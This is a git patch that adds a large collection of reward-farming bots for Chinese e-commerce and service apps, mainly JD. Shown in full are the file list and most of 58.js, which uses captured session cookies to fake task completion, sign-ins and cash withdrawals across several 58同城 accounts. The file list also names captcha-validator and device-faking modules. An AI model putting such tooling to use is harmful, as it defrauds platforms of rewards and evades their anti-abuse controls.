From b0679b288294bbe59d18ff49199996866f8e8adf Mon Sep 17 00:00:00 2001 From: ooo Date: Thu, 28 Jul 2022 21:53:26 +0800 Subject: [PATCH] - --- 58.js | 883 +++++ CK_WxPusherUid.json | 14 + JDJRValidator_Pure.js | 532 +++ JDSignValidator.js | 2080 +++++++++++ JD_DailyBonus.js | 1930 ++++++++++ JD_extra_cookie.js | 119 + JS_USER_AGENTS.js | 92 + README.md | 1 + TS_USER_AGENTS.ts | 399 ++ USER_AGENTS.js | 128 + docker/Dockerfile | 37 + docker/Readme.md | 264 ++ docker/auto_help.sh | 155 + docker/bot/jd.png | Bin 0 -> 7335 bytes docker/bot/jd_bot | 1114 ++++++ docker/bot/requirements.txt | 5 + docker/bot/setup.py | 13 + docker/crontab_list.sh | 229 ++ docker/default_task.sh | 252 ++ docker/docker_entrypoint.sh | 57 + docker/example/custom-append.yml | 62 + docker/example/custom-overwrite.yml | 62 + docker/example/default.yml | 59 + .../docker多账户使用独立容器使用说明.md | 83 + .../jd_scripts.custom-append.syno.json | 65 + .../jd_scripts.custom-overwrite.syno.json | 69 + docker/example/jd_scripts.syno.json | 83 + docker/example/multi.yml | 62 + docker/notify_docker_user.js | 20 + docker/proc_file.sh | 27 + function/TS_USER_AGENTS.ts | 341 ++ function/common.js | 270 ++ function/config.js | 1 + function/eval.js | 83 + function/h5st.ts | 73 + function/jdValidate.js | 466 +++ function/jd_captian_flp.js | 33 + function/jd_captian_mn.js | 35 + function/jdcookie.js | 6 + function/jinli_log.ts | 9 + function/jxAlgo.js | 204 + function/ql.js | 204 + function/sendNotify.js | 2499 +++++++++++++ index.js | 40 + jdCookie.js | 101 + jdDreamFactoryShareCodes.js | 37 + jdEnv.py | 67 + jdFactoryShareCodes.js | 37 + jdFruitShareCodes.js | 37 + jdJxncShareCodes.js | 37 + jdPetShareCodes.js | 37 + jdPlantBeanShareCodes.js | 37 + jd_CheckCK.js | 975 +++++ jd_CkSeq.js | 531 +++ jd_DailyBonus_Mod.js | 1965 ++++++++++ jd_EsportsManager.js | 490 +++ jd_UpdateUIDtoRemark.js | 521 +++ jd_bean_change.js | 3236 ++++++++++++++++ jd_bean_change_pro.js | 3310 +++++++++++++++++ jd_bean_home.js | 832 +++++ jd_bean_info.js | 282 ++ jd_bean_sign.js | 2066 ++++++++++ jd_beauty.js | 740 ++++ jd_beauty_ex.js | 328 ++ jd_beauty_plant.py | 1000 +++++ jd_blueCoin.js | 526 +++ jd_btdraw.py | 218 ++ jd_btfree.py | 266 ++ jd_captian_flp.js | 33 + jd_card.js | 151 + jd_cash.js | 607 +++ jd_cash_Mod_Panda.js | 544 +++ jd_ccSign.js | 311 ++ jd_cfd.js | 1827 +++++++++ jd_cfd_loop.js | 444 +++ jd_cjhz.js | 402 ++ jd_cleancart.js | 643 ++++ jd_club_lottery.js | 1300 +++++++ jd_computer.js | 464 +++ jd_connoisseur.js | 732 ++++ jd_dadoudou.js | 14 + jd_daily_lottery.js | 339 ++ jd_ddly.js | 211 ++ jd_delCoupon.js | 235 ++ jd_desire.js | 411 ++ jd_dpqd.js | 381 ++ jd_drawCenter.js | 15 + jd_dreamFactory.js | 1724 +++++++++ jd_dreamFactory_help.js | 644 ++++ jd_dreamFactory_tuan.js | 493 +++ jd_dwapp.js | 261 ++ jd_fan.js | 734 ++++ jd_farautomation.js | 79 + jd_fcwb.py | 408 ++ jd_follow_shop.js | 125 + jd_fruit.js | 1605 ++++++++ jd_fruit_friend.js | 630 ++++ jd_fruit_plant.ts | 46 + jd_get_share_code.js | 756 ++++ jd_gjlh.js | 339 ++ jd_gold_creator.js | 351 ++ jd_gold_sign.js | 221 ++ jd_goodMorning.js | 488 +++ jd_gua_cleancart_Panda.js | 369 ++ jd_half_redrain.js | 19 + jd_health.js | 448 +++ jd_health_collect.js | 137 + jd_health_help.js | 247 ++ jd_identical.py | 200 + jd_identicalnew.py | 203 + jd_insight.js | 541 +++ jd_jdfactory.js | 777 ++++ jd_jdzz.js | 411 ++ jd_jfcz.js | 391 ++ jd_jin_tie.js | 488 +++ jd_jingBeanReceive.js | 8 + jd_jinggengjcq_dapainew.js | 402 ++ jd_jinggengjcq_dapainew_task.js | 30 + jd_joy_joy_reward.ts | 87 + jd_joy_park.js | 610 +++ jd_joy_park_Mod.js | 597 +++ jd_joy_park_run.ts | 231 ++ jd_joy_park_task.js | 373 ++ jd_joy_park_task_Mod.js | 400 ++ jd_joy_run_reward.ts | 88 + jd_joyjd_open.js | 324 ++ jd_joyopen.js | 543 +++ jd_jr_draw.js | 219 ++ jd_jrmx.py | 273 ++ jd_jxgckc.js | 114 + jd_jxlhb.js | 529 +++ jd_jxmc.js | 1163 ++++++ jd_live.js | 393 ++ jd_live_redrain.js | 356 ++ jd_ljd_xh.js | 390 ++ jd_lottery.js | 360 ++ jd_lzdz.js | 489 +++ jd_lzdz1_customized.js | 547 +++ jd_lzdz1_customized2.js | 547 +++ jd_lzdz1_customized28.js | 545 +++ jd_lzdz1_customized2a.js | 541 +++ jd_lzdz1_customized6.js | 643 ++++ jd_lzdz1_customizeds.js | 547 +++ jd_m_sign.js | 231 ++ jd_mhtask.js | 291 ++ jd_mncryyj.js | 340 ++ jd_mofang.ts | 134 + jd_moneyTree.js | 885 +++++ jd_moneyTree_heip.js | 290 ++ jd_morningSc.js | 212 ++ jd_mpdz_car_help.js | 40 + jd_mpdz_car_task.js | 8 + jd_nnfls.js | 584 +++ jd_nzmh.js | 293 ++ jd_opencardjoyjd.js | 510 +++ jd_pet.js | 1062 ++++++ jd_pet_automation.js | 64 + jd_pigPet.js | 992 +++++ jd_plantBean.js | 746 ++++ jd_plantBean_help.js | 493 +++ jd_price.js | 323 ++ jd_productZ4Brand.js | 359 ++ jd_qqxing.js | 663 ++++ jd_redpacketinfo.py | 167 + jd_redrain.js | 301 ++ jd_redrain_half.js | 298 ++ jd_ry.js | 337 ++ jd_scripts_check_dependence.py | 606 +++ jd_sevenDay.js | 593 +++ jd_sgmh.js | 384 ++ jd_shangou.js | 168 + jd_share.js | 459 +++ jd_shop_sign.js | 358 ++ jd_signFree.js | 570 +++ jd_sign_graphics.js | 271 ++ jd_sign_graphics1.js | 270 ++ jd_speed_redpocke.js | 27 + jd_speed_sign.js | 814 ++++ jd_speed_signfree.js | 214 ++ jd_superBrand.js | 363 ++ jd_superBrandJK.js | 293 ++ jd_superBrandStar.js | 278 ++ jd_supermh.js | 345 ++ jd_sxLottery.js | 416 +++ jd_tanwei.js | 254 ++ jd_try.js | 1288 +++++++ jd_try_notify.js | 206 + jd_try_notify.py | 141 + jd_txgzyl.js | 652 ++++ jd_txstockex.js | 31 + jd_tyt.js | 383 ++ jd_tyt_ks.js | 556 +++ jd_unbind.js | 284 ++ jd_unsubscriLive.js | 253 ++ jd_unsubscribe_xh.js | 799 ++++ jd_wdz.js | 739 ++++ jd_wechat_sign.ts | 43 + jd_wechat_zz.ts | 32 + jd_wish.js | 433 +++ jd_wq_wxsign.js | 105 + jd_wskey.py | 525 +++ jd_wxCollectionActivity.js | 17 + jd_wxFansinter.js | 33 + jd_wxSecond.js | 13 + jd_wxShopFollowActivity.js | 40 + jd_wxUnPackingActivity.js | 31 + jd_wx_addCart.js | 182 + jd_wx_collectCard.js | 241 ++ jd_wx_luckDraw.js | 231 ++ jd_wyw.js | 153 + jd_xgyl_wx.js | 398 ++ jd_xtclh.js | 338 ++ jd_zjd.ts | 145 + jx_aid_cashback.js | 49 + jx_factory_automation.js | 326 ++ jx_factory_commodity.js | 97 + jx_sign.js | 707 ++++ magic.js | 1002 +++++ magic.json | 15 + magic.py | 191 + mount.sh | 8 + package-lock.json | 1583 ++++++++ package.json | 48 + ql.js | 204 + sendNotify.js | 2317 ++++++++++++ sendNotify.py | 429 +++ sign_graphics_validate.js | 2085 +++++++++++ telecom.py | 270 ++ utils/.DS_Store | Bin 0 -> 6148 bytes utils/JDJRValidator.js | 381 ++ utils/JDJRValidator_Pure.js | 553 +++ utils/JDSignValidator.js | 2080 +++++++++++ utils/JD_DailyBonus.js | 1950 ++++++++++ utils/MoveMentFaker.js | 139 + utils/TS_USER_AGENTS.ts | 391 ++ utils/USER_AGENTS.js | 51 + utils/V3.ts | 51 + utils/ZooFaker_Necklace.js | 903 +++++ utils/account_demo.json | 13 + utils/common.js | 280 ++ utils/config.js | 1 + utils/empty.json | 1 + utils/eval.js | 86 + utils/exceptCookie.json | 8 + utils/h5st.ts | 73 + utils/jdShareCodes.js | 72 + utils/jdValidate.js | 466 +++ utils/jd_appopen.js | 306 ++ utils/jd_joy_getInvokeKey.ts | 28 + utils/jd_joy_validate.js | 447 +++ utils/jd_jxmcToken.js | 91 + utils/jd_zjd_tool.js | 237 ++ utils/jdcookie.js | 6 + utils/jinli_log.ts | 1802 +++++++++ utils/jxAlgo.js | 204 + utils/log_618.d.ts | 7 + utils/log_618.js | 1 + utils/magic.js | 760 ++++ utils/pushplus.ts | 39 + utils/ql.js | 149 + utils/sendNotify.js | 2499 +++++++++++++ utils/shareCodesTool.ts | 137 + utils/share_code.js | 99 + utils/sharecodes.json | 4 + utils/sign_graphics_validate.js | 2078 +++++++++++ utils/validate_single.js | 497 +++ wskey.py | 640 ++++ 京乐玩-赚京豆.py | 413 ++ 邀请好友赢大礼.py | 333 ++ 269 files changed, 116589 insertions(+) create mode 100644 58.js create mode 100644 CK_WxPusherUid.json create mode 100644 JDJRValidator_Pure.js create mode 100644 JDSignValidator.js create mode 100644 JD_DailyBonus.js create mode 100644 JD_extra_cookie.js create mode 100644 JS_USER_AGENTS.js create mode 100644 README.md create mode 100644 TS_USER_AGENTS.ts create mode 100644 USER_AGENTS.js create mode 100644 docker/Dockerfile create mode 100644 docker/Readme.md create mode 100644 docker/auto_help.sh create mode 100644 docker/bot/jd.png create mode 100644 docker/bot/jd_bot create mode 100644 docker/bot/requirements.txt create mode 100644 docker/bot/setup.py create mode 100644 docker/crontab_list.sh create mode 100644 docker/default_task.sh create mode 100644 docker/docker_entrypoint.sh create mode 100644 docker/example/custom-append.yml create mode 100644 docker/example/custom-overwrite.yml create mode 100644 docker/example/default.yml create mode 100644 docker/example/docker多账户使用独立容器使用说明.md create mode 100644 docker/example/jd_scripts.custom-append.syno.json create mode 100644 docker/example/jd_scripts.custom-overwrite.syno.json create mode 100644 docker/example/jd_scripts.syno.json create mode 100644 docker/example/multi.yml create mode 100644 docker/notify_docker_user.js create mode 100644 docker/proc_file.sh create mode 100644 function/TS_USER_AGENTS.ts create mode 100644 function/common.js create mode 100644 function/config.js create mode 100644 function/eval.js create mode 100644 function/h5st.ts create mode 100644 function/jdValidate.js create mode 100644 function/jd_captian_flp.js create mode 100644 function/jd_captian_mn.js create mode 100644 function/jdcookie.js create mode 100644 function/jinli_log.ts create mode 100644 function/jxAlgo.js create mode 100644 function/ql.js create mode 100644 function/sendNotify.js create mode 100644 index.js create mode 100644 jdCookie.js create mode 100644 jdDreamFactoryShareCodes.js create mode 100644 jdEnv.py create mode 100644 jdFactoryShareCodes.js create mode 100644 jdFruitShareCodes.js create mode 100644 jdJxncShareCodes.js create mode 100644 jdPetShareCodes.js create mode 100644 jdPlantBeanShareCodes.js create mode 100644 jd_CheckCK.js create mode 100644 jd_CkSeq.js create mode 100644 jd_DailyBonus_Mod.js create mode 100644 jd_EsportsManager.js create mode 100644 jd_UpdateUIDtoRemark.js create mode 100644 jd_bean_change.js create mode 100644 jd_bean_change_pro.js create mode 100644 jd_bean_home.js create mode 100755 jd_bean_info.js create mode 100644 jd_bean_sign.js create mode 100644 jd_beauty.js create mode 100644 jd_beauty_ex.js create mode 100644 jd_beauty_plant.py create mode 100644 jd_blueCoin.js create mode 100644 jd_btdraw.py create mode 100644 jd_btfree.py create mode 100644 jd_captian_flp.js create mode 100644 jd_card.js create mode 100644 jd_cash.js create mode 100644 jd_cash_Mod_Panda.js create mode 100644 jd_ccSign.js create mode 100644 jd_cfd.js create mode 100644 jd_cfd_loop.js create mode 100644 jd_cjhz.js create mode 100644 jd_cleancart.js create mode 100644 jd_club_lottery.js create mode 100644 jd_computer.js create mode 100644 jd_connoisseur.js create mode 100644 jd_dadoudou.js create mode 100644 jd_daily_lottery.js create mode 100644 jd_ddly.js create mode 100644 jd_delCoupon.js create mode 100644 jd_desire.js create mode 100644 jd_dpqd.js create mode 100644 jd_drawCenter.js create mode 100644 jd_dreamFactory.js create mode 100644 jd_dreamFactory_help.js create mode 100644 jd_dreamFactory_tuan.js create mode 100644 jd_dwapp.js create mode 100644 jd_fan.js create mode 100644 jd_farautomation.js create mode 100644 jd_fcwb.py create mode 100644 jd_follow_shop.js create mode 100644 jd_fruit.js create mode 100644 jd_fruit_friend.js create mode 100644 jd_fruit_plant.ts create mode 100644 jd_get_share_code.js create mode 100644 jd_gjlh.js create mode 100644 jd_gold_creator.js create mode 100644 jd_gold_sign.js create mode 100644 jd_goodMorning.js create mode 100644 jd_gua_cleancart_Panda.js create mode 100644 jd_half_redrain.js create mode 100644 jd_health.js create mode 100644 jd_health_collect.js create mode 100644 jd_health_help.js create mode 100644 jd_identical.py create mode 100644 jd_identicalnew.py create mode 100644 jd_insight.js create mode 100644 jd_jdfactory.js create mode 100644 jd_jdzz.js create mode 100644 jd_jfcz.js create mode 100644 jd_jin_tie.js create mode 100644 jd_jingBeanReceive.js create mode 100644 jd_jinggengjcq_dapainew.js create mode 100755 jd_jinggengjcq_dapainew_task.js create mode 100644 jd_joy_joy_reward.ts create mode 100644 jd_joy_park.js create mode 100644 jd_joy_park_Mod.js create mode 100644 jd_joy_park_run.ts create mode 100644 jd_joy_park_task.js create mode 100644 jd_joy_park_task_Mod.js create mode 100644 jd_joy_run_reward.ts create mode 100644 jd_joyjd_open.js create mode 100644 jd_joyopen.js create mode 100644 jd_jr_draw.js create mode 100644 jd_jrmx.py create mode 100644 jd_jxgckc.js create mode 100644 jd_jxlhb.js create mode 100644 jd_jxmc.js create mode 100644 jd_live.js create mode 100644 jd_live_redrain.js create mode 100644 jd_ljd_xh.js create mode 100644 jd_lottery.js create mode 100644 jd_lzdz.js create mode 100644 jd_lzdz1_customized.js create mode 100644 jd_lzdz1_customized2.js create mode 100644 jd_lzdz1_customized28.js create mode 100644 jd_lzdz1_customized2a.js create mode 100644 jd_lzdz1_customized6.js create mode 100644 jd_lzdz1_customizeds.js create mode 100644 jd_m_sign.js create mode 100644 jd_mhtask.js create mode 100644 jd_mncryyj.js create mode 100644 jd_mofang.ts create mode 100644 jd_moneyTree.js create mode 100644 jd_moneyTree_heip.js create mode 100644 jd_morningSc.js create mode 100644 jd_mpdz_car_help.js create mode 100644 jd_mpdz_car_task.js create mode 100644 jd_nnfls.js create mode 100644 jd_nzmh.js create mode 100644 jd_opencardjoyjd.js create mode 100644 jd_pet.js create mode 100644 jd_pet_automation.js create mode 100644 jd_pigPet.js create mode 100644 jd_plantBean.js create mode 100644 jd_plantBean_help.js create mode 100644 jd_price.js create mode 100644 jd_productZ4Brand.js create mode 100644 jd_qqxing.js create mode 100644 jd_redpacketinfo.py create mode 100644 jd_redrain.js create mode 100644 jd_redrain_half.js create mode 100644 jd_ry.js create mode 100644 jd_scripts_check_dependence.py create mode 100644 jd_sevenDay.js create mode 100644 jd_sgmh.js create mode 100644 jd_shangou.js create mode 100755 jd_share.js create mode 100644 jd_shop_sign.js create mode 100644 jd_signFree.js create mode 100644 jd_sign_graphics.js create mode 100644 jd_sign_graphics1.js create mode 100644 jd_speed_redpocke.js create mode 100644 jd_speed_sign.js create mode 100644 jd_speed_signfree.js create mode 100644 jd_superBrand.js create mode 100644 jd_superBrandJK.js create mode 100644 jd_superBrandStar.js create mode 100644 jd_supermh.js create mode 100644 jd_sxLottery.js create mode 100644 jd_tanwei.js create mode 100644 jd_try.js create mode 100644 jd_try_notify.js create mode 100644 jd_try_notify.py create mode 100644 jd_txgzyl.js create mode 100644 jd_txstockex.js create mode 100644 jd_tyt.js create mode 100644 jd_tyt_ks.js create mode 100644 jd_unbind.js create mode 100644 jd_unsubscriLive.js create mode 100644 jd_unsubscribe_xh.js create mode 100644 jd_wdz.js create mode 100644 jd_wechat_sign.ts create mode 100644 jd_wechat_zz.ts create mode 100644 jd_wish.js create mode 100644 jd_wq_wxsign.js create mode 100644 jd_wskey.py create mode 100644 jd_wxCollectionActivity.js create mode 100755 jd_wxFansinter.js create mode 100644 jd_wxSecond.js create mode 100755 jd_wxShopFollowActivity.js create mode 100755 jd_wxUnPackingActivity.js create mode 100644 jd_wx_addCart.js create mode 100644 jd_wx_collectCard.js create mode 100644 jd_wx_luckDraw.js create mode 100644 jd_wyw.js create mode 100644 jd_xgyl_wx.js create mode 100644 jd_xtclh.js create mode 100644 jd_zjd.ts create mode 100644 jx_aid_cashback.js create mode 100644 jx_factory_automation.js create mode 100644 jx_factory_commodity.js create mode 100644 jx_sign.js create mode 100644 magic.js create mode 100644 magic.json create mode 100644 magic.py create mode 100644 mount.sh create mode 100644 package-lock.json create mode 100644 package.json create mode 100644 ql.js create mode 100644 sendNotify.js create mode 100644 sendNotify.py create mode 100644 sign_graphics_validate.js create mode 100644 telecom.py create mode 100644 utils/.DS_Store create mode 100644 utils/JDJRValidator.js create mode 100644 utils/JDJRValidator_Pure.js create mode 100644 utils/JDSignValidator.js create mode 100644 utils/JD_DailyBonus.js create mode 100644 utils/MoveMentFaker.js create mode 100644 utils/TS_USER_AGENTS.ts create mode 100644 utils/USER_AGENTS.js create mode 100644 utils/V3.ts create mode 100644 utils/ZooFaker_Necklace.js create mode 100644 utils/account_demo.json create mode 100644 utils/common.js create mode 100644 utils/config.js create mode 100644 utils/empty.json create mode 100644 utils/eval.js create mode 100644 utils/exceptCookie.json create mode 100644 utils/h5st.ts create mode 100644 utils/jdShareCodes.js create mode 100644 utils/jdValidate.js create mode 100644 utils/jd_appopen.js create mode 100644 utils/jd_joy_getInvokeKey.ts create mode 100644 utils/jd_joy_validate.js create mode 100644 utils/jd_jxmcToken.js create mode 100644 utils/jd_zjd_tool.js create mode 100644 utils/jdcookie.js create mode 100644 utils/jinli_log.ts create mode 100644 utils/jxAlgo.js create mode 100644 utils/log_618.d.ts create mode 100644 utils/log_618.js create mode 100644 utils/magic.js create mode 100644 utils/pushplus.ts create mode 100644 utils/ql.js create mode 100644 utils/sendNotify.js create mode 100644 utils/shareCodesTool.ts create mode 100644 utils/share_code.js create mode 100644 utils/sharecodes.json create mode 100644 utils/sign_graphics_validate.js create mode 100644 utils/validate_single.js create mode 100644 wskey.py create mode 100644 京乐玩-赚京豆.py create mode 100644 邀请好友赢大礼.py diff --git a/58.js b/58.js new file mode 100644 index 0000000..8a78c7c --- /dev/null +++ b/58.js @@ -0,0 +1,883 @@ +/* +58同城 + +安卓貌似需要root才能捉到包,IOS随便捉 +多账号切换账号不能退出登录 + +手动捉包把PPU=UID=xxxx&UN=yyyy&...填到wbtcCookie里,多账号@隔开 +注意前面有个PPU=,捉包只有UID=xxx的话手动加上 + +自定义UA:填到wbtcUA里,不填默认IOS15的UA + +只做普通任务一天3毛左右,跑小游戏的话一天5毛到6毛 +账号能刷到新手奖励的话每天额外8毛4,前七天还有每天额外3毛(满5提现到矿石),第一天做完新手任务就能提5块 +先登录,点我的->神奇矿->装扮我的家,过了引导剧情,然后再跑脚本 +游戏赚矿石里的三个小游戏需要投入矿石去赚更多,脚本默认不跑 +如果要跑,在wbtcCookie的对应账号后面加上#1,但是跑久了有可能触发滑块,需要自己去点一次,否则要被反撸矿石 + +定时不跑小游戏就每天7点后跑5次,跑小游戏就每小时一次 + +V2P/圈叉: +[task_local] +#58同城 +7 * * * * https://raw.githubusercontent.com/leafxcy/JavaScript/main/58tc.js, tag=58同城, enabled=true +[rewrite_local] +https://magicisland.58.com/web/sign/getIndexSignInInfo url script-request-header https://raw.githubusercontent.com/leafxcy/JavaScript/main/58tc.js +[MITM] +hostname = magicisland.58.com +*/ +const jsname = '58同城' +const $ = Env(jsname) +const logDebug = 0 + +const notifyFlag = 1; //0为关闭通知,1为打开通知,默认为1 +const notify = $.isNode() ? require('./sendNotify') : ''; +let notifyStr = '' + +let httpResult //global buffer + +let userCookie = ($.isNode() ? process.env.wbtcCookie : $.getdata('wbtcCookie')) || ''; +let userUA = ($.isNode() ? process.env.wbtcUA : $.getdata('wbtcUA')) || 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 WUBA/10.26.5'; +let userCookieArr = [] +let userList = [] + +let userIdx = 0 +let userCount = 0 + +//let taskList = [1,2,3,4,5,6,7,9,10,13,15,16] +let taskList = [9,10,13] +let TASK_TIME = [7,24] +let attendType = {'oneDay':'一天打卡', 'multiDay':'三天打卡'} + +let curHour = (new Date()).getHours() + +let maxTaskLen = 0 +let maxRewardLen = 0 + +/////////////////////////////////////////////////////////////////// +class UserInfo { + constructor(str) { + let strArr = str.split('#') + this.index = ++userIdx + this.cookie = strArr[0] + this.cashSign = true + this.newbie = {} + this.house = {} + this.mining = {} + this.auction = {} + this.ore = {} + this.task = [] + this.reward = [] + this.runTask = strArr[1] || 0 + + let taskStr = this.runTask==1 ? '投入' : '不投入' + console.log(`账号[${this.index}]现在小游戏矿石设置为:${taskStr}`) + } + + async getTaskList(sceneId) { + let url = `https://taskframe.58.com/web/task/dolist?sceneId=${sceneId}&openpush=0&source=` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + if(!result.result.taskList) return; + //status: 0 - 未完成,1 - 已完成,2 - 已领取 + for(let task of result.result.taskList) { + let doneStr = '' + if(task.taskTotalCount) { + doneStr = ` ${task.taskDoneCount}/${task.taskTotalCount}` + } + let statusStr = (task.status==0) ? '未完成' : ((task.status==1) ? '已完成' : '已领取') + console.log(`账号[${this.index}]任务[${sceneId}-${task.itemId}]:${doneStr} +${task.rewardDisplayValue} ${statusStr}`) + if(task.status == 0) { + this.task.push({sceneId:sceneId,taskId:task.itemId}) + } else if(task.status == 1) { + this.reward.push({sceneId:sceneId,taskId:task.itemId}) + } + } + } else { + console.log(`账号[${this.index}]查询任务列表失败: ${result.message}`) + } + } + + async doTask(sceneId,taskId) { + var time = `${(new Date()).getTime()}` + var signo = `${time}${taskId}` + let url = `https://taskframe.58.com/web/task/dotask?timestamp=${time}&sign=${MD5Encrypt(signo)}&taskId=${taskId}`//&taskData=15` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]完成任务[${sceneId}-${taskId}]`) + } else { + console.log(`账号[${this.index}]完成任务[${sceneId}-${taskId}]失败: ${result.message}`) + } + } + + async getReward(sceneId,taskId) { + var time = `${(new Date()).getTime()}` + var signo = `${time}${taskId}` + let url = `https://taskframe.58.com/web/task/reward?timestamp=${time}&sign=${MD5Encrypt(signo)}&taskId=${taskId}` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]领取任务[${sceneId}-${taskId}]奖励成功`) + } else { + console.log(`账号[${this.index}]领取任务[${sceneId}-${taskId}]奖励失败: ${result.message}`) + } + } + + async newbieMaininfo() { + let url = `https://rightsplatform.58.com/web/motivate/maininfo` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.newbie.coin = parseFloat(result.result.coin) + this.newbie.isWithdraw = result.result.userWithdraw + if(result.result.todaySignDay<=7) { + this.newbie.signItem = result.result.signInfo[result.result.todaySignDay-1] + let signStr = (this.newbie.signItem.status==0) ? '未签到' : '已签到' + console.log(`账号[${this.index}]今日新手任务${signStr}`) + if(this.newbie.signItem.status == 0) { + await $.wait(500) + await this.newbieSign() + } + } + console.log(`账号[${this.index}]新手金币余额:${this.newbie.coin}`) + if(this.newbie.isWithdraw==false) { + let sortList = result.result.withdrawInfo.sort(function(a,b) {return b.cardAmount-a.cardAmount}) + for(let withItem of sortList) { + if(this.newbie.coin >= withItem.cardCoin) { + await $.wait(500) + await this.newbieWithdraw(withItem) + } + } + } + } else { + console.log(`账号[${this.index}]查询新手主页失败: ${result.message}`) + } + } + + async newbieSign() { + let url = `https://rightsplatform.58.com/web/motivate/sign` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.newbie.coin += parseFloat(this.newbie.signItem.signCoin) + console.log(`账号[${this.index}]新手任务第${this.newbie.signItem.number}天签到成功,获得${this.newbie.signItem.signCoin}金币`) + } else { + console.log(`账号[${this.index}]新手任务签到失败: ${result.message}`) + } + } + + async newbieWithdraw(withItem) { + let url = `https://rightsplatform.58.com/web/motivate/withdraw` + let body = `id=${withItem.id}` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]成功兑换${withItem.cardAmount}元到矿石余额`) + } else { + console.log(`账号[${this.index}]兑换${withItem.cardAmount}元到矿石余额失败: ${result.message}`) + } + } + + async houseSignStatus() { + let url = `https://lovely-house.58.com/sign/info` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + for(let item of result.result) { + if(item.today == true) { + let signStr = (item.sign==false) ? '未签到' : '已签到' + console.log(`账号[${this.index}]今日我的家${signStr}`) + if(item.sign == false) { + await $.wait(500) + await this.houseSign() + } + break; + } + } + } else { + console.log(`账号[${this.index}]查询我的家签到状态失败: ${result.message}`) + } + } + + async houseSign() { + let url = `https://lovely-house.58.com/sign/signin` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]我的家签到成功,获得${result.result.gold}金币`) + } else { + console.log(`账号[${this.index}]我的家签到失败: ${result.message}`) + } + } + + async houseWithdrawPage() { + let url = `https://lovely-house.58.com/web/exchange/info` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.house.coin = result.result.coin + console.log(`账号[${this.index}]我的家金币余额:${this.house.coin}`) + let sortList = result.result.oreList.sort(function(a,b) {return b.amount-a.amount}) + if(sortList.length>0 && sortList[0].oreStatus == 0 && this.house.coin >= sortList[0].coin) { + await $.wait(500) + await this.houseWithdraw(sortList[0]) + } + } else { + console.log(`账号[${this.index}]查询我的家兑换页失败: ${result.message}`) + } + } + + async houseWithdraw(withItem) { + let url = `https://lovely-house.58.com/web/exchange/ore` + let body = `id=${withItem.id}` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('post',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]成功兑换${withItem.amount}矿石 ≈ ${withItem.money}元`) + } else { + console.log(`账号[${this.index}]兑换${withItem.amount}矿石失败: ${result.message}`) + } + } + + async oreMainpage(dotask=true) { + let url = `https://magicisland.58.com/web/mineral/main?openSettings=0` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.ore.sign = result.result.tasks.sign.state + this.ore.dailyore = result.result.userInfo.dailyOre + this.ore.ore = parseFloat(result.result.userInfo.minerOre) + this.ore.money = parseFloat(result.result.userInfo.minerOreValue) + if(dotask) { + let gameStatus = result.result.games.gameProcess + let gameStr = '' + if(gameStatus.awardState==0) { + if(gameStatus.gameNum==gameStatus.joinedNum) { + this.ore.gameFlag = 1 + gameStr = '已完成' + } else { + this.ore.gameFlag = 0 + gameStr = '未完成' + } + } else { + this.ore.gameFlag = 2 + gameStr = '已领取' + } + let signStr = (this.ore.sign==0) ? '未签到' : '已签到' + let dailyStr = (this.ore.dailyore==0) ? '未采集' : '已采集' + console.log(`账号[${this.index}]今日神奇矿${dailyStr},${signStr},参加三个小游戏任务${gameStr}`) + if(this.ore.sign==0) { + await $.wait(500) + await this.oreSign() + } + if(this.ore.dailyore==0) { + await $.wait(500) + await this.getDailyore() + } + if(this.ore.gameFlag==1) { + await $.wait(500) + await this.oreGameScore() + } + console.log(`账号[${this.index}]神奇矿余额${this.ore.ore} ≈ ${this.ore.money}元`) + } + } else { + console.log(`账号[${this.index}]查询神奇矿主页失败: ${result.message}`) + } + } + + async getDailyore() { + let url = `https://magicisland.58.com/web/mineral/dailyore` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + console.log(`账号[${this.index}]采集神奇矿成功`) + } else { + console.log(`账号[${this.index}]采集神奇矿失败: ${result.message}`) + } + } + + async oreSign() { + let url = `https://magicisland.58.com/web/sign/signInV2?sessionId=&successToken=&scene=null` + let body = `` + let urlObject = populateUrlObject(url,this.cookie,body) + await httpRequest('get',urlObject) + let result = httpResult; + if(!result) return + //console.log(result) + if(result.code == 0) { + this.ore.ore += parseFloat(result.result.ore) + this.ore.money += parseFloat(result.result.amount) + console.log(`账号[${this.index}]神奇矿签到成功,获得${result.result.ore}矿石 ≈ ${result.result.amount}元`) + } else { + console.log(`账号[${this.index}]神奇矿签到失败: ${result.message}`) + } + } + + async miningUserInfo() { + let url = 